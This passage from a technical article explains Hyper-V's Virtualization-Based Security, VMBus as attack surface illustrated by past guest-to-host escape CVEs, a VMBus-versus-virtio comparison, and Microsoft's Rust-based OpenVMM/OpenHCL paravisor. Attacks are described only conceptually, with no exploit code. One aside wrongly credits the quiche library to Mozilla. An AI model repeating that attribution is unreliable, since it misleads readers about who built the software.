&lt;p&gt;Up to this point the article has treated Hyper-V as a virtualization product: a thing that hosts VMs. Starting in Windows 10 and Windows Server 2016 [@ms-server-2016], Microsoft began using the same hypervisor for a different job: enforcing security boundaries inside a single OS install. The umbrella name is &lt;strong&gt;Virtualization-Based Security (VBS)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The mechanism is simple in description and subtle in consequences. The hypervisor splits a single guest&apos;s address space into two &lt;strong&gt;Virtual Trust Levels (VTLs)&lt;/strong&gt;. The lower one, VTL0, runs the normal Windows kernel and user mode (this is where &lt;code&gt;explorer.exe&lt;/code&gt; and your browser live). The higher one, VTL1, runs a much smaller stack called the &lt;strong&gt;Secure Kernel&lt;/strong&gt; plus a set of isolated user-mode services called &lt;strong&gt;trustlets&lt;/strong&gt;. A compromise of VTL0, even of &lt;code&gt;ntoskrnl.exe&lt;/code&gt;, cannot read or write VTL1 memory because the hypervisor enforces that boundary using the same hardware machinery (Intel EPT / AMD NPT, plus Intel VT-d / AMD-Vi for DMA) that it uses to isolate one VM from another.&lt;/p&gt;

A Hyper-V construct that partitions a single guest&apos;s address space into multiple privilege tiers enforced by the hypervisor. VTL0 hosts the normal kernel and user mode; VTL1 hosts the Secure Kernel and trustlets. The hypervisor presents each VTL with its own separate set of memory mappings, system registers, and interrupt state, so code running at VTL0 cannot read VTL1&apos;s memory even if it has run-as-NT-AUTHORITY-SYSTEM privilege.

flowchart TD
    HV[&quot;Hyper-V hypervisor&quot;]
    subgraph Guest[&quot;A single Windows guest&quot;]
        subgraph VTL0[&quot;VTL0 (normal world)&quot;]
            User0[&quot;User mode: apps&quot;]
            Kernel0[&quot;NT kernel&quot;]
        end
        subgraph VTL1[&quot;VTL1 (secure world)&quot;]
            SK[&quot;Secure Kernel&quot;]
            Trustlets[&quot;Trustlets: LSAIso, BIOiso, ...&quot;]
        end
    end
    HV --&amp;gt; Guest
    HV -. &quot;EPT + IOMMU enforcement&quot; .-&amp;gt; VTL0
    HV -. &quot;EPT + IOMMU enforcement&quot; .-&amp;gt; VTL1
    Kernel0 -. &quot;VTL switch (hypercall)&quot; .-&amp;gt; SK
&lt;h3&gt;What lives in VTL1&lt;/h3&gt;
&lt;p&gt;The flagship inhabitant of VTL1 is &lt;strong&gt;Hypervisor-protected Code Integrity (HVCI)&lt;/strong&gt;, which moves kernel-mode page-table integrity checking into the Secure Kernel. With HVCI on, no VTL0 driver can mark a kernel page as both writable and executable; the Secure Kernel mediates the page tables and refuses the request. The result is that attackers who already have code execution in the NT kernel cannot trivially load arbitrary unsigned kernel code or build new executable JIT pages on the fly.&lt;/p&gt;
&lt;p&gt;The other tenants of VTL1 are &lt;strong&gt;trustlets&lt;/strong&gt;. The most familiar is &lt;code&gt;lsaiso.exe&lt;/code&gt; (LSA Isolation), which holds the cached domain credentials that historically lived in &lt;code&gt;lsass.exe&lt;/code&gt; and were the prime target for tools like Mimikatz. With Credential Guard on, those secrets move to a trustlet whose memory is unreadable from VTL0; even SYSTEM-level malware in the normal world cannot extract them. Other trustlets handle biometric template storage, key isolation for code integrity policy, and similar small, security-sensitive workloads.&lt;/p&gt;
&lt;h3&gt;Why the hypervisor is the right place for this&lt;/h3&gt;
&lt;p&gt;Putting these protections inside the hypervisor rather than inside the kernel has a property that no in-kernel mitigation can match: &lt;strong&gt;the protected component does not share an address space with the attacker&lt;/strong&gt;. A defence built inside &lt;code&gt;ntoskrnl.exe&lt;/code&gt; (&lt;code&gt;PatchGuard&lt;/code&gt;, &lt;code&gt;KASLR&lt;/code&gt;, control-flow guard) lives in the same memory the attacker is trying to corrupt. A defence built inside VTL1 lives in memory the attacker cannot touch, because the page tables that map it are themselves invisible from VTL0.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Pre-VBS Windows had decades of memory-safety bugs in the NT kernel. After VBS, exploiting one of those bugs no longer immediately yields the attacker the ability to read LSASS secrets or load arbitrary kernel code. The attacker now needs a &lt;em&gt;second&lt;/em&gt; bug, in the much smaller Secure Kernel codebase. The defender&apos;s effective budget went up by a large multiplier without rewriting a single line of NT.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;How this connects back to VMBus&lt;/h3&gt;
&lt;p&gt;VBS would not be possible without the work the previous sections described. The Secure Kernel is what runs in VTL1; it needs to communicate with VTL0 for ordinary system services (the &lt;code&gt;lsaiso.exe&lt;/code&gt; process must respond to authentication requests from VTL0 callers, the HVCI mediator must answer page-table requests, and so on). The signalling and shared-memory primitives that make those calls cheap are the same SynIC and shared-page primitives that VMBus uses between partitions.&lt;/p&gt;
&lt;p&gt;In other words, the architecture Microsoft built in 2008 to give a Windows VM a fast network card became, in 2016, the architecture that gives a single Windows install a security boundary stronger than its own kernel. The same hypervisor, the same trust-mediation primitives, two completely different applications.&lt;/p&gt;
&lt;p&gt;Windows Server 2019 [@ms-server-2019] extended this further with Hyper-V isolation for containers, where a container&apos;s lightweight VM gets its own kernel inside a tiny VTL0 of its own. The pattern is consistent: every time Windows wanted a stronger isolation primitive, the answer was &quot;use the hypervisor.&quot;&lt;/p&gt;
&lt;p&gt;This dual-use is the reason a serious Windows security review touches the Hyper-V codebase even on machines that nobody thinks of as virtualization hosts. A Hyper-V escape (a guest-to-host VMBus exploit) is not just &quot;an exploit against Azure&quot;; it is also, on a typical Windows 11 desktop with VBS enabled, an exploit against the boundary that protects LSASS secrets from kernel-mode malware.&lt;/p&gt;
&lt;p&gt;That makes the next section&apos;s question urgent: how strong is the VMBus boundary, in practice?&lt;/p&gt;
&lt;h2&gt;7. VMBus security: every message is a parser at the trust boundary&lt;/h2&gt;
&lt;p&gt;Here is the part of the architecture worth being honest about. The same property that makes VMBus fast, namely that the host-side VSP runs in the root partition&apos;s kernel and parses guest-supplied bytes directly, also makes the VSP the most consequential piece of attack surface in the entire stack. Microsoft itself prices it that way: the Hyper-V Bug Bounty Program [@ms-bounty-hyperv] pays up to &lt;strong&gt;USD 250,000&lt;/strong&gt; specifically for guest-to-host escapes that hit this surface, which is among the highest payouts Microsoft offers for any category of vulnerability.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every byte that crosses a VMBus channel from a guest is a byte that a kernel-mode parser in the most privileged partition on the host has to interpret. The performance argument for a software data plane and the security argument against it are the same argument, looked at from opposite directions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The historical record&lt;/h3&gt;
&lt;p&gt;Three CVEs make the pattern concrete:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE-2017-0075&lt;/strong&gt; is the Hyper-V escape that the Qihoo 360 Vulcan Team demonstrated at Pwn2Own 2017. The NVD entry [@nvd-cve-2017-0075] describes it as a Hyper-V flaw that &quot;allows guest OS users to execute arbitrary code on the host OS via a crafted application.&quot; The reachable code was in a VMBus message handler on the host side.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE-2021-28476&lt;/strong&gt; is the canonical example. The NVD record [@nvd-cve-2021-28476] classifies it as a critical Hyper-V remote code execution vulnerability with a CVSS score of 9.9. The Akamai writeup with Guardicore and SafeBreach [@akamai-cve-2021-28476] traces the bug to &lt;code&gt;vmswitch.sys&lt;/code&gt;, the synthetic-NIC VSP, and shows it had been present in production since the August 2019 vmswitch build. The exploit primitive is exactly what the architecture invites: a guest crafts an OID-style RNDIS request, sends it through the netvsc VMBus channel, and the host&apos;s kernel parser misvalidates a length, producing memory corruption in the most privileged kernel on the box.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE-2024-21407&lt;/strong&gt; is a more recent Hyper-V remote code execution vulnerability patched in March 2024 (NVD [@nvd-cve-2024-21407]). Its existence demonstrates that the bug class did not vanish; the same shape (guest-controlled message, host kernel parser, escalation to host code execution) keeps reappearing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

The MSRC bounty page ranges from \$5,000 for low-impact bugs to \$250,000 for full guest-to-host escapes (Microsoft bounty page [@ms-bounty-hyperv]). That price point is not a marketing number; it is Microsoft signalling what its threat model says these bugs are worth. A defender pricing their own controls should treat any VSP code path that parses guest-controlled data as a category that justifies the same level of attention as remote internet-facing services.
&lt;h3&gt;Why the bug class is structural&lt;/h3&gt;
&lt;p&gt;The pattern in all three CVEs is the same:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A guest writes carefully crafted bytes into a VMBus channel ring.&lt;/li&gt;
&lt;li&gt;The guest fires the doorbell.&lt;/li&gt;
&lt;li&gt;The host&apos;s VSP, running in the root partition&apos;s kernel, dequeues the message.&lt;/li&gt;
&lt;li&gt;The VSP parses the message in C or C++ kernel code.&lt;/li&gt;
&lt;li&gt;A memory-safety mistake (length confusion, missing bounds check, integer overflow) becomes a write or read primitive in the host kernel.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is no exotic mechanism here. The exploit surface is &quot;kernel C code parsing untrusted input,&quot; which has been the dominant source of remote-code-execution bugs in operating systems since the 1990s. The novelty is the location: the parser sits below the most privileged supervisor on the box, with full access to every other tenant&apos;s memory.&lt;/p&gt;

sequenceDiagram
    participant Mal as Malicious guest VM
    participant Ring as VMBus ring (shared memory)
    participant SInt as Synthetic Interrupt Controller
    participant VSP as Host VSP (e.g., vmswitch.sys, kernel)
    Mal-&amp;gt;&amp;gt;Ring: Write crafted RNDIS-style message
    Mal-&amp;gt;&amp;gt;SInt: Hypercall: signal channel event
    SInt--&amp;gt;&amp;gt;VSP: SINT delivered on host CPU
    VSP-&amp;gt;&amp;gt;Ring: Read message header
    note over VSP: Length confusion / missing bounds check
    VSP-&amp;gt;&amp;gt;VSP: Out-of-bounds write in root partition kernel
    note over VSP: Result: arbitrary code in the most privileged partition
&lt;h3&gt;Mitigations short of a rewrite&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s first line of defence is the same one every kernel team uses: ASLR, control-flow integrity, kernel hardening, fuzzing the parsers, code review of every new device class, and, on Azure specifically, isolating each tenant&apos;s compute hypervisor so a single compromised host does not become a multi-tenant disaster. The MSRC bounty program is partly a procurement mechanism for this same effort: pay researchers to find and report bugs before attackers find them in the wild.&lt;/p&gt;
&lt;p&gt;A second line of defence is &lt;strong&gt;Generation-2 VMs&lt;/strong&gt; (Microsoft Learn [@ms-gen1-gen2-vms]), which remove the legacy emulators (IDE, PS/2, PIC) from the host data path entirely. Every emulator removed is one fewer parser in the most privileged kernel.&lt;/p&gt;
&lt;p&gt;A third is the Microsoft Hyper-V architecture page [@ms-hyperv-architecture-perf]&apos;s &quot;minimise root-partition exposure&quot; guidance: configure hosts with the smallest set of root-partition services that the workload requires, since every service is potential surface.&lt;/p&gt;
&lt;p&gt;These all help, but none of them change the structural fact that VSPs parse guest-controlled data in C/C++ kernel code. The next architectural shift, the one that does change that fact, is what Section 9 is about.&lt;/p&gt;
&lt;h3&gt;Side channels and the Spectre era&lt;/h3&gt;
&lt;p&gt;VMBus also has to defend against side-channel attacks across the partition boundary. The same Spectre / Meltdown / L1TF mitigations that apply to a multi-tenant hypervisor in general apply to Hyper-V specifically. Microsoft&apos;s broader hypervisor mitigation strategy interacts with VMBus mostly indirectly: the SynIC, the hypercall page, and the timer subsystem all needed audit and adjustment when these classes of attacks emerged. The detail is largely outside the scope of an article about the device model, but the takeaway is consistent with the rest of this section: any shared CPU resource between partitions is a potential attack surface, and &quot;shared via the hypervisor&apos;s bus&quot; is no exception.&lt;/p&gt;
&lt;p&gt;The structural answer to all of this, the one Microsoft itself has been working toward, is to change the languages and the trust boundaries. To set that up, the next section first widens the field by comparing VMBus to its peer in the KVM world, virtio.&lt;/p&gt;
&lt;h2&gt;8. VMBus vs virtio: two answers to the same question&lt;/h2&gt;
&lt;p&gt;Hyper-V is not the only hypervisor with a paravirt I/O story. The KVM world evolved its own answer to the same problem at roughly the same time, and it ended up with a different design with different trade-offs. The standard is &lt;strong&gt;virtio&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The original virtio paper, Rusty Russell&apos;s &quot;virtio: Towards a De-Facto Standard For Virtual I/O Devices&quot; [@rusty-virtio-paper], was published at OLS 2008, the same year Hyper-V shipped. The proposal was explicit in its motivation: every hypervisor was reinventing paravirt drivers, and a single hypervisor-independent specification could let one guest driver work everywhere. OASIS later standardised virtio 1.0 in 2016, then virtio 1.1 in 2019 [@oasis-virtio-1-1], then virtio 1.2 as a Committee Specification in 2023 [@oasis-virtio-1-2].&lt;/p&gt;

A hypervisor-independent paravirtual I/O specification, governed by OASIS. A virtio device is presented to the guest over a transport (PCI, MMIO, or s390 channel I/O) that advertises capability bits. The data plane is a generic ring layout called a **virtqueue**: a ring of descriptors, an `avail` ring (guest-to-host), and a `used` ring (host-to-guest). Each device class (virtio-net, virtio-blk, virtio-scsi, virtio-fs, virtio-gpu) defines its own message format on top of virtqueues.
&lt;h3&gt;The same shape, viewed sideways&lt;/h3&gt;
&lt;p&gt;Architecturally, virtio and VMBus are sibling answers to the same shaped problem.&lt;/p&gt;

flowchart LR
    subgraph virtio_pci[&quot;virtio over PCI&quot;]
        gv[&quot;Guest virtio driver&quot;]
        vq[&quot;virtqueue (descriptors + avail + used)&quot;]
        host_be[&quot;Host backend (vhost-net, vhost-user, OpenVMM)&quot;]
        gv -- &quot;PIO doorbell write&quot; --&amp;gt; host_be
        gv -- &quot;shared memory&quot; --- vq
        host_be -- &quot;shared memory&quot; --- vq
        host_be -- &quot;MSI-X&quot; --&amp;gt; gv
    end
    subgraph vmbus[&quot;Hyper-V VMBus&quot;]
        gv2[&quot;Guest VSC&quot;]
        ring[&quot;Two ring buffers + GPADL&quot;]
        vsp[&quot;Host VSP (kernel)&quot;]
        gv2 -- &quot;Hypercall doorbell&quot; --&amp;gt; vsp
        gv2 -- &quot;shared memory&quot; --- ring
        vsp -- &quot;shared memory&quot; --- ring
        vsp -- &quot;SINT&quot; --&amp;gt; gv2
    end
&lt;p&gt;Both:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;strong&gt;shared-memory rings&lt;/strong&gt; for payload.The phrase &quot;shared-memory rings&quot; hides a small subtlety: a ring buffer is a circular buffer with separate read and write indices. Producer and consumer can run concurrently as long as they only touch their own index, which is what makes ring buffers a wait-free communication primitive on cache-coherent hardware.&lt;/li&gt;
&lt;li&gt;Use a &lt;strong&gt;doorbell&lt;/strong&gt; for signalling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Batch&lt;/strong&gt; many requests per doorbell so per-message hypercall cost amortises.&lt;/li&gt;
&lt;li&gt;Have &lt;strong&gt;per-class device protocols&lt;/strong&gt; layered on top of a common transport.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The differences are where the world bites:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;VMBus&lt;/th&gt;
&lt;th&gt;virtio (1.2)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Transport&lt;/td&gt;
&lt;td&gt;Software-only &quot;bus&quot;, channel offer/open/close&lt;/td&gt;
&lt;td&gt;PCI, MMIO, s390 channel I/O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Doorbell&lt;/td&gt;
&lt;td&gt;Hypercall (&lt;code&gt;HV_SIGNAL_EVENT&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;PIO write to a doorbell BAR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse signal&lt;/td&gt;
&lt;td&gt;Synthetic interrupt (SINT)&lt;/td&gt;
&lt;td&gt;MSI-X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standardisation&lt;/td&gt;
&lt;td&gt;Microsoft-owned, Open Specification Promise [@ms-tlfs]&lt;/td&gt;
&lt;td&gt;OASIS-ratified, multi-vendor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows in-box drivers&lt;/td&gt;
&lt;td&gt;Yes, every supported version&lt;/td&gt;
&lt;td&gt;No; out-of-box signed VirtIO INFs from cloud vendors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Device classes beyond I/O&lt;/td&gt;
&lt;td&gt;Yes: KVP, time sync, VSS, balloon&lt;/td&gt;
&lt;td&gt;Limited; non-I/O often built on virtio-vsock or out-of-band agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-hypervisor portability&lt;/td&gt;
&lt;td&gt;Hyper-V only&lt;/td&gt;
&lt;td&gt;Universal: KVM, QEMU, Cloud Hypervisor, Firecracker, Xen HVM, OpenVMM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spec governance&lt;/td&gt;
&lt;td&gt;Single vendor under OSP&lt;/td&gt;
&lt;td&gt;Multi-vendor with formal conformance clauses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Source for Linux side&lt;/td&gt;
&lt;td&gt;drivers/hv/ [@kernel-hyperv-index]&lt;/td&gt;
&lt;td&gt;drivers/virtio in the Linux tree&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Where each design wins&lt;/h3&gt;
&lt;p&gt;Virtio&apos;s strongest claim is portability. The same Linux guest VM image, with the same in-tree virtio drivers, runs on KVM, QEMU, Cloud Hypervisor, AWS Firecracker, and (since 2024) Microsoft&apos;s own OpenVMM, which added virtio backend support. A workload that has to move between cloud providers benefits from this directly: the guest does not need a different driver stack per host.&lt;/p&gt;
&lt;p&gt;Virtio also has a richer multi-vendor governance story. The spec is OASIS-ratified, with explicit conformance clauses; multiple commercial hypervisors implement it; multiple SmartNIC vendors implement virtio data planes in hardware (the &lt;code&gt;vDPA&lt;/code&gt; and &lt;code&gt;VDUSE&lt;/code&gt; work, described by Red Hat [@redhat-vdpa] and the Linux kernel VDUSE doc [@kernel-vduse]).&lt;/p&gt;
&lt;p&gt;VMBus&apos;s strongest claim is &lt;strong&gt;integration&lt;/strong&gt;. Every supported Windows ships with the VSCs in-box; there is nothing for an admin to install. The transport carries not just I/O but a service catalogue: KVP for guest configuration, time sync, VSS for online backup, the heartbeat and shutdown channels. The TLFS, while owned by Microsoft, is published under the Open Specification Promise and is a &lt;em&gt;single&lt;/em&gt; document a guest author can read end-to-end.This is why &quot;VirtIO drivers for Windows&quot; exist as a separate project (the Fedora/Red Hat-signed &lt;code&gt;virtio-win&lt;/code&gt; package) for KVM clouds: out of the box, Windows does not know virtio. The Hyper-V world inverts the problem: out of the box, Linux does not need any third-party install because the drivers are upstream.&lt;/p&gt;
&lt;h3&gt;Where they coexist&lt;/h3&gt;
&lt;p&gt;The most interesting recent development is that the two camps have stopped being purely competitive. Microsoft&apos;s OpenVMM [@github-openvmm] implements both VMBus and virtio backends, so a Linux guest using virtio drivers can run on a Microsoft-developed VMM, and a Windows guest using VMBus drivers can run on the same VMM. This is partially ideological (Microsoft is no longer pretending its way is the only way) and partially pragmatic (a single VMM that supports both transports is simpler than maintaining two).&lt;/p&gt;
&lt;p&gt;Beyond the protocol-level comparison, both VMBus and virtio sit inside a larger composition with hardware passthrough, where the &lt;strong&gt;transport becomes the slow path&lt;/strong&gt; and a real PCIe device carries the steady-state traffic.&lt;/p&gt;
&lt;h3&gt;Hardware passthrough as a complement&lt;/h3&gt;
&lt;p&gt;The composition that runs almost every modern Azure VM is &lt;strong&gt;VMBus + SR-IOV&lt;/strong&gt;, packaged as Accelerated Networking [@ms-accelerated-networking]. The same VM gets both a synthetic NIC (&lt;code&gt;netvsc&lt;/code&gt; over VMBus) and an SR-IOV virtual function. The Linux netvsc driver documentation describes the failover mechanic: &quot;If SR-IOV is enabled in both the vSwitch and the guest configuration, then the Virtual Function (VF) device is passed to the guest as a PCI device. In this case, both a synthetic (netvsc) and VF device are visible in the guest OS and both NIC&apos;s have the same MAC address. The VF is enslaved by netvsc device. The netvsc driver will transparently switch the data path to the VF when it is available and up.&quot; (Linux kernel: netvsc [@kernel-netvsc]).&lt;/p&gt;
&lt;p&gt;When live migration starts, Azure revokes the VF, the data plane falls back to the netvsc/VMBus path, the VM moves, and a new VF on the destination host gets re-attached, all without dropping TCP connections. The VMBus path was never the production hot path, but its existence is what enables migration. The KVM world&apos;s analogue is &lt;strong&gt;vDPA&lt;/strong&gt;, which gives a virtio-shaped guest interface backed by a hardware data plane.&lt;/p&gt;
&lt;p&gt;A modern Azure NIC stack is pushing this even further. Azure Boost [@ms-azure-boost] moves both storage and networking data planes off the host CPU into dedicated FPGAs, with a stable Microsoft-engineered NIC interface called MANA [@ms-mana]. Microsoft&apos;s documentation reports up to 200 Gbps of network bandwidth and 6.6 million IOPS on local storage with this design, with the host&apos;s vmswitch still acting as the live-migration fallback path. The architectural insight is that the VMBus-based slow path is the durable invariant; what changes is whether the steady-state data plane is software, an SR-IOV VF, or a SmartNIC firmware path. Frameworks like DPDK [@dpdk-about] sit on top of whichever data plane the VM exposes.&lt;/p&gt;
&lt;p&gt;What none of this changes is the property Section 7 cared about: as long as a host-side VSP exists and parses guest-controlled bytes in kernel C/C++, the bug class is open. The next section is about the architectural move that closes it.&lt;/p&gt;
&lt;h2&gt;9. OpenVMM and OpenHCL: the 2024 open-source pivot&lt;/h2&gt;
&lt;p&gt;In 2024, Microsoft did two things that would have been hard to imagine a decade earlier. First, they open-sourced OpenVMM [@github-openvmm], a Rust implementation of the virtualization stack including the VSPs and the VMBus protocol. Second, they introduced OpenHCL [@ms-openhcl-deep-explainer], a &quot;paravisor&quot; configuration of OpenVMM that runs &lt;em&gt;inside&lt;/em&gt; a confidential VM as a higher-trust mediator between the workload and the (now-untrusted) host.&lt;/p&gt;
&lt;p&gt;Both moves are explained by the same trend the article has been circling: confidential computing fundamentally inverts the trust boundary, and the device model has to follow.&lt;/p&gt;

A higher-privileged software layer that runs *inside* a guest VM (not on the host) and mediates the guest&apos;s interaction with the hypervisor. In the Hyper-V model, a paravisor lives in VTL2 of the same VM whose workload runs in VTL0; the host hypervisor is outside the VM&apos;s trust boundary. The paravisor presents the workload with a familiar VMBus + VSP interface while internally talking to a hardware-isolated confidential VM substrate (AMD SEV-SNP or Intel TDX).
&lt;h3&gt;What changed in confidential computing&lt;/h3&gt;
&lt;p&gt;The classical Hyper-V trust model places the root partition at the apex of trust. The guest trusts the host. Memory the guest writes is, in the worst case, readable by the host. In &lt;strong&gt;confidential computing&lt;/strong&gt;, that is no longer acceptable. A regulated workload (a healthcare database, a financial processor) needs to run in a VM whose contents are protected even from a malicious or compromised hypervisor. AMD&apos;s &lt;strong&gt;SEV-SNP&lt;/strong&gt; and Intel&apos;s &lt;strong&gt;TDX&lt;/strong&gt; are CPU features that encrypt and integrity-protect VM memory in hardware so that a compromised host cannot read the guest&apos;s secrets.&lt;/p&gt;
&lt;p&gt;Azure Confidential Computing [@ms-confidential-computing] made these capabilities available as a product starting around 2022. The Azure confidential VM options page [@ms-coco-vm-options] documents the SKUs.&lt;/p&gt;
&lt;p&gt;This breaks the old VMBus story. In the classical model, the host&apos;s &lt;code&gt;vmswitch.sys&lt;/code&gt; reads the guest&apos;s network packets out of the VMBus ring. In a confidential VM that protection demands you can no longer let the host see those bytes; that defeats the entire point. So the question becomes: where does the synthetic-device backend live, if not in the host?&lt;/p&gt;
&lt;h3&gt;The paravisor answer&lt;/h3&gt;
&lt;p&gt;The Linux kernel&apos;s Hyper-V CoCo VMs document [@kernel-coco] describes the design directly: &quot;Paravisor mode. In this mode, a paravisor layer between the guest and the host provides some operations needed to run as a CoCo VM. The guest operating system can have fewer CoCo enlightenments than is required in the fully-enlightened case ... some aspects of CoCo VMs are handled by the Hyper-V paravisor while the guest OS must be enlightened for other aspects.&quot;&lt;/p&gt;
&lt;p&gt;OpenHCL is that paravisor. It runs in a higher-trust virtual trust level inside the same confidential VM (VTL2), it has access to the encrypted-memory primitives the CPU provides, and it presents the workload (in VTL0) with the same VMBus + VSP world a non-confidential VM would see. The workload OS does not need to be heavily modified; it sees what looks like Hyper-V, talks to what look like normal VSPs, and never has to know that those VSPs are now inside its own VM rather than on the host.&lt;/p&gt;

flowchart TD
    HW[&quot;Confidential CPU (SEV-SNP / TDX)&quot;]
    HV[&quot;Host hypervisor (untrusted by the workload)&quot;]
    subgraph CoCoVM[&quot;Confidential VM (memory encrypted)&quot;]
        VTL2[&quot;VTL2: OpenHCL paravisor (Rust VSPs)&quot;]
        VTL0[&quot;VTL0: workload OS (Windows or Linux, lightly enlightened)&quot;]
        VTL0 -- &quot;VMBus, looks normal&quot; --- VTL2
    end
    HW --&amp;gt; HV
    HV --&amp;gt; CoCoVM
    HV -. &quot;no access to guest plaintext&quot; .-&amp;gt; CoCoVM
&lt;h3&gt;The Rust rewrite&lt;/h3&gt;
&lt;p&gt;The other half of the story is &lt;strong&gt;memory safety&lt;/strong&gt;. Recall Section 7&apos;s CVE list: every headline Hyper-V escape in the past decade involved a parser bug in C/C++ kernel code. OpenVMM&apos;s choice to implement the entire VMM, including the VSPs, in Rust is a direct response to that history. Rust&apos;s ownership model rules out, by construction, a large class of memory-safety bugs (use-after-free, out-of-bounds access on slices, double-free) that produced those CVEs.&lt;/p&gt;
&lt;p&gt;This does not magically eliminate every vulnerability. A logic bug in a state machine, an integer-overflow on a length field, a side-channel timing leak: all of these still exist in Rust. But the categories that produced CVE-2017-0075, CVE-2021-28476, and CVE-2024-21407 are exactly the categories Rust was designed to make hard.&lt;/p&gt;

Garbage-collected languages are wrong for a kernel-mode parser: GC pauses are unacceptable in a hypervisor-adjacent fast path, and you cannot afford a runtime that allocates memory during interrupt handling. Rust&apos;s compile-time memory safety with no GC is, today, the only mature option that gives you both the safety and the predictability a VSP needs. Microsoft&apos;s choice is consistent with the rest of the industry; comparable rewrites of low-level systems infrastructure (Cloudflare&apos;s `cf-cmd`, Mozilla&apos;s `quiche`, the Android Bluetooth stack) have all converged on Rust.
&lt;h3&gt;What you can actually look at&lt;/h3&gt;
&lt;p&gt;OpenVMM is not a press release; it is a public repository that ships:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The full Rust source tree at github.com/microsoft/openvmm [@github-openvmm].&lt;/li&gt;
&lt;li&gt;A separate repository for the Linux kernel fork that the paravisor runs on top of, at github.com/microsoft/OHCL-Linux-Kernel [@github-ohcl-linux].&lt;/li&gt;
&lt;li&gt;Project documentation centred at openvmm.dev [@openvmm-dev].&lt;/li&gt;
&lt;li&gt;Both VMBus and virtio backends, so the same VMM can host Windows guests on VMBus and Linux guests on virtio.&lt;/li&gt;
&lt;li&gt;Documentation through the deeper Microsoft Tech Community explainer [@ms-openhcl-deep-explainer] and the original announcement [@ms-openhcl-announce] describing the paravisor&apos;s role.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a security researcher or a regulated-cloud customer, this is a meaningful change. For the first time, the VMBus + VSP stack is auditable end-to-end in source.&lt;/p&gt;

If you want to see how a VSP actually consumes a channel, the OpenVMM repository contains the Rust modules that implement the VMBus channel state machine. Cloning the repo and grepping for `Channel::open` and `RingBuffer` shows the same offer/open/close/rescind pattern Section 3 described, expressed in Rust types whose lifetimes the compiler checks. Reading the same logic in Rust after reading the Linux C version in `drivers/hv/channel_mgmt.c` is a useful exercise; the abstraction is identical, and the safety guarantees diverge.
&lt;h3&gt;What still has to be solved&lt;/h3&gt;
&lt;p&gt;The kernel CoCo doc is candid about an open architectural problem that OpenHCL alone cannot solve: &quot;Unfortunately, there is no standardized enumeration of feature/functions that might be provided in the paravisor, and there is no standardized mechanism for a guest OS to query the paravisor for the feature/functions it provides. The understanding of what the paravisor provides is hard-coded in the guest OS.&quot; (Linux kernel: CoCo VMs [@kernel-coco]).&lt;/p&gt;
&lt;p&gt;In other words, the TLFS gave us a portable contract between guests and Hyper-V hypervisors. The paravisor world does not yet have an equivalent portable contract between guests and paravisors. Today&apos;s guests have OpenHCL-specific knowledge baked in. A future &quot;paravisor TLFS&quot; would let any compliant paravisor host any compliant guest, the same way the original TLFS did for the hypervisor. That standard does not exist yet, and writing it is the most consequential open problem in this corner of the architecture.&lt;/p&gt;
&lt;p&gt;The architecture is moving. Section 10 takes stock of what that means for engineers building or operating on this stack today.&lt;/p&gt;
&lt;h2&gt;10. Engineering takeaways and open problems&lt;/h2&gt;
&lt;p&gt;A working architecture is one where the trade-offs are &lt;em&gt;visible&lt;/em&gt;. Hyper-V&apos;s enlightenments + VMBus + VSP/VSC stack is a working architecture in exactly that sense: every property it has, including the security ones, is a consequence of design choices a reader can name.&lt;/p&gt;
&lt;h3&gt;What the design optimises for&lt;/h3&gt;
&lt;p&gt;Three explicit optimisations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;In-box drivers for closed-source guests.&lt;/strong&gt; Hardware virtualization handles privileged CPU instructions; the guest only needs to load a VMBus client driver to opt in to the fast path. Every supported Windows ships those drivers in-box. Every modern Linux ships them in-tree. There is no &quot;install paravirt drivers&quot; step, which is a large reason &quot;it just works.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A single transport that carries everything.&lt;/strong&gt; VMBus carries 12+ device classes plus non-device services (KVP, time sync, VSS, balloon, heartbeat). One protocol, one set of primitives, one debugging surface. This is the engineering equivalent of &quot;everything is a file&quot; applied to inter-partition communication.&lt;/li&gt;
